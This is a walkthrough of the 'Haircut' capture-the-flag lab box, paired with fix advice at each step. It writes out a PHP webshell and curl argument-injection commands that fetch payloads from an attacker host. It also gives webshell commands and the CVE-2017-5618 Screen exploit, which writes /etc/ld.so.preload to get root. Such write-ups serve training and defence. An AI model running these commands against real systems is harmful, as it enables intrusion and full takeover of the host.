← all walkthroughs

Haircut

Linux· Medium
owned
2026-07-07
time to own
5m42s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I scanned port 80 on $TARGET and found a 'Hairdresser checker' web application whose remote-fetch feature passed user-supplied input directly to a server-side curl call. By appending curl output flags to the URL parameter, I directed the server to fetch a PHP webshell from my own host and save it into the web-accessible /uploads/ directory — giving unauthenticated remote code execution as the www-data web-server account.

The user flag was read from disk through the webshell without ever needing a full interactive shell. For root, a standard SUID sweep revealed GNU Screen 4.5.0 installed with the setuid-root bit set.

Abusing the known CVE-2017-5618 exploit, I used Screen's session-log flag to write /etc/ld.so.preload as root, loading a pre-compiled malicious shared library that made a companion binary setuid root. Executing that binary produced a root shell and full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1ReconnaissanceNetwork port scanning and service version fingerprinting (T1046)
Scanned open ports and fingerprinted exposed services
An Nmap scan against $TARGET returned two open services: OpenSSH 7.2p2 on port 22 and nginx 1.10.0 on port 80. The vintage of both packages (Ubuntu 16.04 era) signalled an ageing host that was unlikely to have received recent security patches — a useful signal for later privilege-escalation research.
Exact commands 1
Service-version scan; -sC runs default scripts for SSH and HTTP banner grabbing.
nmap -Pn -sV -sC -p22,80 $TARGET
2EnumerationWeb content discovery and endpoint fingerprinting (T1083)
Discovered hidden web endpoints through directory brute-forcing
The web root served a static 'HTB Hairdresser' page. Directory fuzzing with ffuf surfaced two significant endpoints: an /uploads/ subdirectory (returning 403 on direct listing but confirmed present) and an exposed.php page. Fetching exposed.php revealed a POST form with a single 'formurl' field. Submitting any URL to it produced a raw curl progress meter in the server's HTTP response, proving the server made outbound curl calls and reflected their output — unfiltered.
Exact commands 2
Brute-force directory names against the nginx root.
ffuf -u http://$TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,204,301,302,307,401,403
Inspect the form structure and confirm the formurl parameter name.
curl -i http://$TARGET/exposed.php
3ExploitationServer-Side Request Forgery with curl argument injection (CWE-88 / T1190)
Injected curl output flags into formurl to write a PHP webshell into the web root
Because exposed.php built the curl command by concatenating the raw formurl value into a shell string, I could append extra curl flags simply by including them in the URL. Supplying 'http://$ATTACKER_IP:8080/shell.php -o uploads/shell.php' caused the server's curl to fetch the me-hosted PHP one-liner and write it to /var/www/html/uploads/shell.php — a web-accessible path. The curl progress output in the server response confirmed the file was fetched and saved successfully.
POST to /exposed.php with the crafted formurl returned a curl progress bar showing 100% transfer; subsequent request to /uploads/shell.php?cmd=id confirmed execution as www-data.
Exact commands 3
Create the PHP one-liner webshell on my machine.
printf '%s' '<?php system($_REQUEST["cmd"]); ?>' > shell.php
Serve the webshell from my host ($ATTACKER_IP); leave running in background.
python3 -m http.server 8080
The ' -o uploads/shell.php' suffix is parsed by server-side curl as an output-path flag, writing the fetched payload into the web root.
curl -sS -X POST http://$TARGET/exposed.php --data-urlencode "formurl=http://$ATTACKER_IP:8080/shell.php -o uploads/shell.php" -d 'submit=Go'
FixSanitise the remote-fetch endpoint: whitelist domains and strip command-line flags from the URL inputCritical
WeaknessThe exposed.php script concatenated the raw user-supplied formurl value into a shell command executed by curl. There was no validation that the value was a legitimate URL, and no mechanism prevented an unauthorised user from appending additional curl flags (such as -o to redirect output to an arbitrary file path), turning a fetch feature into an unauthenticated arbitrary file-write primitive.
FixEither remove exposed.php entirely if the feature has no active business use, or harden it as follows: (1) parse the submitted value with a strict URL-parsing function and reject anything that is not a plain http or https URL with no extra tokens; (2) invoke curl via an exec array (e.g. PHP's exec() with a pre-built argument list) rather than a shell string, so no injected flags can be appended; (3) write curl output only to a fixed, randomly-named temporary file that the application controls, never to a caller-supplied path; (4) enforce an allowlist of permitted remote domains. Apply these controls in alignment with the OWASP SSRF Prevention guidance.
4FootholdPHP webshell remote code execution (T1505.003)
Executed OS commands via the webshell and captured the user flag
With shell.php in place under /uploads/, any GET request passing a 'cmd' parameter ran an arbitrary shell command as uid=33 (www-data). I confirmed execution context and then read the user flag directly from /home/maria/user.txt through the shell parameter — no reverse shell or interactive session was required for this step.
Cmd=id returned uid=33(www-data) gid=33(www-data); cat /home/maria/user.txt returned the user flag.
Exact commands 2
Confirm RCE identity and OS version.
curl -sS --get "http://$TARGET/uploads/shell.php" --data-urlencode 'cmd=id; uname -a; hostname; pwd'
Read the user flag; value is <user.txt>.
curl -sS --get "http://$TARGET/uploads/shell.php" --data-urlencode 'cmd=cat /home/maria/user.txt'
FixDisable PHP execution inside the /uploads/ directoryHigh
WeaknessThe /uploads/ directory was both writable by the www-data web-server process and served by nginx with PHP-FPM enabled. Any file written there with a .php extension was immediately executable as server-side code by any HTTP client. This meant that once a file landed in /uploads/ — via any route — it automatically became a functional backdoor.
FixAdd an nginx location block that blocks PHP processing inside /uploads/: 'location ~* ^/uploads/.*\.php$ { deny all; }' placed above the global PHP handler. Alternatively, configure the PHP-FPM pool to refuse to execute scripts outside of the application's source tree. If /uploads/ must serve user-generated files, serve them through a dedicated origin (a separate subdomain or object-storage URL) that has no server-side scripting capability whatsoever.
5Privilege Escalation — DiscoverySUID binary enumeration (T1548.001)
Found GNU Screen 4.5.0 installed with the SUID root bit set
A one-liner piped through the webshell enumerated all SUID-root binaries on the filesystem. The result included /usr/bin/screen-4.5.0. GNU Screen 4.5.0 is publicly known to be vulnerable to CVE-2017-5618 (Exploit-DB 41154): its '-L' session-log flag, when combined with the '-D -m' daemon flags and an echo subshell, can write my own content to /etc/ld.so.preload — a system file the dynamic linker reads before any privileged execution — because Screen itself runs as root via SUID.
Find / -perm -4000 returned /usr/bin/screen-4.5.0 with SUID root bit set; Exploit-DB 41154 matched the exact version.
Exact commands 2
List every SUID-root binary on the target via the webshell.
curl -sS --get "http://$TARGET/uploads/shell.php" --data-urlencode 'cmd=find / -perm -4000 -type f 2>/dev/null'
Pull the GNU Screen 4.5.0 local privilege escalation exploit to my machine for review.
searchsploit -m 41154
FixRemove the SUID bit from GNU Screen 4.5.0 and upgrade to a patched releaseCritical
WeaknessGNU Screen 4.5.0 was installed with the setuid-root bit enabled. This version is affected by CVE-2017-5618: its session-log flag can be abused to write externally controlled content to /etc/ld.so.preload while running as root. Any entry in ld.so.preload is loaded by the dynamic linker into every subsequent privileged process, giving a local an unauthorised user a straightforward path to arbitrary root code execution from any low-privileged account or web-shell session on the host.
FixImmediately run 'chmod u-s /usr/bin/screen-4.5.0' to strip the SUID bit and neutralise the exploit. Then upgrade Screen: 'apt-get install --only-upgrade screen' to install a version beyond 4.5.0 where CVE-2017-5618 is patched. Conduct a broader SUID/SGID audit on the host ('find / -perm /6000 -type f 2>/dev/null') and remove elevated permissions from any binary that does not have a specific, documented operational need for them.
6Privilege Escalation — ExploitationSUID GNU Screen 4.5.0 ld.so.preload write for root code execution (CVE-2017-5618 / T1548.001)
Used CVE-2017-5618 to load a root-constructor shared library and obtain a root shell
The CVE-2017-5618 exploit requires two compiled artifacts: libhax.so (a shared library whose constructor, when loaded as root, makes a companion binary setuid root) and rootshell (the setuid-shell binary). The target's GCC toolchain was incomplete (the cc1 front-end was absent), so both were cross-compiled on my Kali host and delivered to /tmp/ via the webshell's curl. The attack then used /usr/bin/screen-4.5.0 with the -D -m -L flags and an echo subshell to append /tmp/libhax.so to /etc/ld.so.preload. A second screen -ls invocation caused root to load libhax.so, whose constructor chmod'd rootshell to 4755. Executing /tmp/rootshell -p via the webshell opened a root-privileged shell, and /root/root.txt was read.
Screen -D -m -L ld.so.preload write succeeded; /tmp/rootshell -p produced uid=0(root); root.txt captured.
Exact commands 5
Cross-compile the constructor shared library on my Kali host; libhax.c source is in Exploit-DB 41154.
gcc -fPIC -shared -ldl -o libhax.so libhax.c
Cross-compile the setuid-shell dropper on my Kali host; rootshell.c source is in Exploit-DB 41154.
gcc -o rootshell rootshell.c
Deliver the pre-compiled exploit artifacts to /tmp/ via the webshell.
curl -sS --get "http://$TARGET/uploads/shell.php" --data-urlencode "cmd=cd /tmp; curl -s http://$ATTACKER_IP:8080/libhax.so -o /tmp/libhax.so; curl -s http://$ATTACKER_IP:8080/rootshell -o /tmp/rootshell; chmod 755 /tmp/libhax.so /tmp/rootshell"
Write /tmp/libhax.so into /etc/ld.so.preload via Screen's log flag, then trigger Screen to load it as root. The libhax.so constructor makes rootshell setuid root.
curl -sS --max-time 40 --get "http://$TARGET/uploads/shell.php" --data-urlencode 'cmd=cd /etc; umask 000; /usr/bin/screen-4.5.0 -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"; /usr/bin/screen-4.5.0 -ls'
Execute the now-setuid rootshell; id should show uid=0(root); root.txt value is <root.txt>.
curl -sS --get "http://$TARGET/uploads/shell.php" --data-urlencode 'cmd=/tmp/rootshell -p -c "id; cat /root/root.txt"'

Attack patterns used

The transferable techniques behind this compromise.

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp